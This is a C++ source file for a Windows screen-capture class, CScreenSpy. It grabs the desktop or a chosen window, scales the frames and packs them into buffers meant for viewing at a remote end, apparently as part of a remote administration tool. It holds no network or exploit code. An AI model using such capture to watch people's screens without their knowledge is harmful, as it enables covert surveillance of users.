// ScreenSpy.cpp: implementation of the CScreenSpy class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "ScreenSpy.h" #include "Common.h" #include #include ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level, RECT rc, BOOL switchScreen, HWND hwnd) : ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen) { m_hTargetWnd = hwnd; m_GOP = gop; // 窗口捕获模式:用 DWM 真实边界覆盖基类的全屏尺寸,并缓存阴影偏移量 if (hwnd) { RECT wndRc = {}, frameRc = {}; GetWindowRect(hwnd, &wndRc); if (SUCCEEDED(DwmGetWindowAttribute(hwnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) { m_ShadowLeft = frameRc.left - wndRc.left; m_ShadowTop = frameRc.top - wndRc.top; } else { frameRc = wndRc; } m_ulFullWidth = frameRc.right - frameRc.left; m_ulFullHeight = frameRc.bottom - frameRc.top; m_CachedWndW = wndRc.right - wndRc.left; m_CachedWndH = wndRc.bottom - wndRc.top; m_iScreenX = frameRc.left; // 窗口左上角在屏幕上的绝对坐标,供 PointConversion 使用 m_iScreenY = frameRc.top; m_bZoomed = false; Mprintf("CScreenSpy: 窗口捕获 HWND=%p 尺寸=%dx%d shadow=(%d,%d)\n", hwnd, m_ulFullWidth, m_ulFullHeight, m_ShadowLeft, m_ShadowTop); } m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight); iniFile cfg(CLIENT_PATH); int strategy = cfg.GetInt("settings", "ScreenStrategy", 0); int maxWidth = cfg.GetInt("settings", "ScreenWidth", 0); m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full); m_nInstructionSet = cfg.GetInt("settings", "CpuSpeedup", 0); Mprintf("CScreenSpy: strategy=%d, maxWidth=%d, fullWidth=%d, algo=%d\n", strategy, maxWidth, m_BitmapInfor_Send->bmiHeader.biWidth, m_bAlgorithm); if (strategy == 1) { // strategy=1: 用户明确选择原始分辨率 Mprintf("CScreenSpy: 使用原始分辨率\n"); } else if (maxWidth > 0 && maxWidth < m_BitmapInfor_Send->bmiHeader.biWidth) { // maxWidth>0: 自定义 maxWidth,等比缩放(自适应质量使用) float ratio = (float)maxWidth / m_BitmapInfor_Send->bmiHeader.biWidth; m_BitmapInfor_Send->bmiHeader.biWidth = maxWidth; m_BitmapInfor_Send->bmiHeader.biHeight = (LONG)(m_BitmapInfor_Send->bmiHeader.biHeight * ratio); m_BitmapInfor_Send->bmiHeader.biSizeImage = ((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) * 4 * m_BitmapInfor_Send->bmiHeader.biHeight; Mprintf("CScreenSpy: 自定义分辨率 %dx%d\n", m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight); } else { // strategy=0 或 maxWidth=0: 默认 1080p 限制 m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth); m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight); m_BitmapInfor_Send->bmiHeader.biSizeImage = ((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) * 4 * m_BitmapInfor_Send->bmiHeader.biHeight; Mprintf("CScreenSpy: 1080p 限制 %dx%d\n", m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight); } m_hDeskTopDC = GetDC(NULL); m_BitmapData_Full = NULL; m_hFullMemDC = CreateCompatibleDC(m_hDeskTopDC); m_BitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); ::SelectObject(m_hFullMemDC, m_BitmapHandle); m_FirstBuffer = (LPBYTE)m_BitmapData_Full; m_DiffBitmapData_Full = NULL; m_hDiffMemDC = CreateCompatibleDC(m_hDeskTopDC); m_DiffBitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL); ::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle); m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12]; m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12]; m_BmpZoomFirst = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12]; m_FirstBuffer = scaleBitmap(m_BmpZoomFirst, m_FirstBuffer); m_bVirtualPaint = vDesk; m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight); // ROI int w = m_ROI.right - m_ROI.left, h = m_ROI.bottom - m_ROI.top; if (w > 0 && h > 0) { m_nScaleSendWidth = m_BitmapInfor_Send->bmiHeader.biWidth; m_nScaleSendHeight = m_BitmapInfor_Send->bmiHeader.biHeight; m_BitmapInfor_Send->bmiHeader.biWidth = w; m_BitmapInfor_Send->bmiHeader.biHeight = h; m_BitmapInfor_Send->bmiHeader.biSizeImage = w * h * 4; } } CScreenSpy::~CScreenSpy() { if (m_BitmapInfor_Full != NULL) { delete m_BitmapInfor_Full; m_BitmapInfor_Full = NULL; } ReleaseDC(NULL, m_hDeskTopDC); if (m_hFullMemDC!=NULL) { DeleteDC(m_hFullMemDC); ::DeleteObject(m_BitmapHandle); if (m_BitmapData_Full!=NULL) { m_BitmapData_Full = NULL; } m_hFullMemDC = NULL; } if (m_hDiffMemDC!=NULL) { DeleteDC(m_hDiffMemDC); ::DeleteObject(m_DiffBitmapHandle); if (m_DiffBitmapData_Full!=NULL) { m_DiffBitmapData_Full = NULL; } } if (m_RectBuffer) { delete[] m_RectBuffer; m_RectBuffer = NULL; } } LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength) { ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight); m_RectBuffer[0] = TOKEN_FIRSTSCREEN; LPBYTE bmp = scaleBitmap(m_BmpZoomBuffer, (LPBYTE)m_BitmapData_Full); memcpy(m_FirstBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage); memcpy(1 + m_RectBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage); if (m_bAlgorithm == ALGORITHM_GRAY) { ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage); } *ulFirstScreenLength = m_BitmapInfor_Send->bmiHeader.biSizeImage; return m_RectBuffer; //内存 } VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight) { if (m_hTargetWnd) { // 最小化:不绘制,hdcDest 保留上一帧内容(远程端看到冻结画面) if (IsIconic(m_hTargetWnd)) return; // 检测窗口尺寸变化:GetWindowRect 廉价,每帧调用; // DwmGetWindowAttribute 较重,仅在 GetWindowRect 尺寸稳定后才调用。 // 防抖策略:拖拽 resize 期间尺寸持续变化,冻结画面等待稳定 300ms 后再重建, // 避免拖拽过程中每帧重建 DIBSection / 重发 BitmapInfo / 重置编解码器。 static const DWORD RESIZE_DEBOUNCE_MS = 300; RECT fullRc = {}; GetWindowRect(m_hTargetWnd, &fullRc); // 窗口每帧都可能移动,实时更新屏幕偏移,保证 PointConversion 坐标正确 m_iScreenX = fullRc.left + m_ShadowLeft; m_iScreenY = fullRc.top + m_ShadowTop; int w = fullRc.right - fullRc.left; int h = fullRc.bottom - fullRc.top; if (w != m_CachedWndW || h != m_CachedWndH) { // 尺寸有变化:更新防抖记录 if (w != m_PendingWndW || h != m_PendingWndH) { m_PendingWndW = w; m_PendingWndH = h; m_SizeChangeTick = GetTickCount(); } // 尚未稳定:冻结当前帧,继续等待 if (GetTickCount() - m_SizeChangeTick < RESIZE_DEBOUNCE_MS) return; // 稳定 300ms:查询 DWM 真实帧边界,决定是否重建 RECT frameRc = fullRc; if (SUCCEEDED(DwmGetWindowAttribute(m_hTargetWnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) { m_ShadowLeft = frameRc.left - fullRc.left; m_ShadowTop = frameRc.top - fullRc.top; } else { m_ShadowLeft = m_ShadowTop = 0; } if ((ULONG)(frameRc.right - frameRc.left) != m_ulFullWidth || (ULONG)(frameRc.bottom - frameRc.top) != m_ulFullHeight) { Mprintf("CScreenSpy: 窗口尺寸变化 %dx%d -> %dx%d,触发重建\n", m_ulFullWidth, m_ulFullHeight, frameRc.right - frameRc.left, frameRc.bottom - frameRc.top); m_bNeedRestart = true; return; } m_CachedWndW = w; m_CachedWndH = h; } // PrintWindow → 临时 DC → BitBlt 到目标(用缓存的阴影偏移跳过 DWM 扩展帧) HDC hTmp = m_data.GetWindowDC(); HBITMAP hOld = (HBITMAP)SelectObject(hTmp, m_data.GetWindowBmp()); BOOL ok = PrintWindow(m_hTargetWnd, hTmp, PW_RENDERFULLCONTENT); if (!ok) ok = PrintWindow(m_hTargetWnd, hTmp, 0); if (ok) { BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hTmp, m_ShadowLeft, m_ShadowTop, SRCCOPY); } SelectObject(hTmp, hOld); return; } if (m_bVirtualPaint) { // 先用深色填充背景,避免窗口移动时留下残影 RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight }; HBRUSH hBrush = CreateSolidBrush(RGB(30, 30, 30)); // 深灰色背景 FillRect(hdcDest, &rcFill, hBrush); DeleteObject(hBrush); int n = 0; if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) { Mprintf("EnumWindowsTopToDown failed: %d!!! GetLastError: %d\n", n, GetLastError()); Sleep(50); } return; } AUTO_TICK(70, ""); #if COPY_ALL BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, m_iScreenX, m_iScreenY, SRCCOPY); #else const ULONG ulJumpLine = 50; const ULONG ulJumpSleep = ulJumpLine / 10; for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump) { ULONG ulv1 = ulHeight - i; if (ulv1 > ulJumpLine) ulToJump = ulJumpLine; else ulToJump = ulv1; BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY); Sleep(ulJumpSleep); } #endif }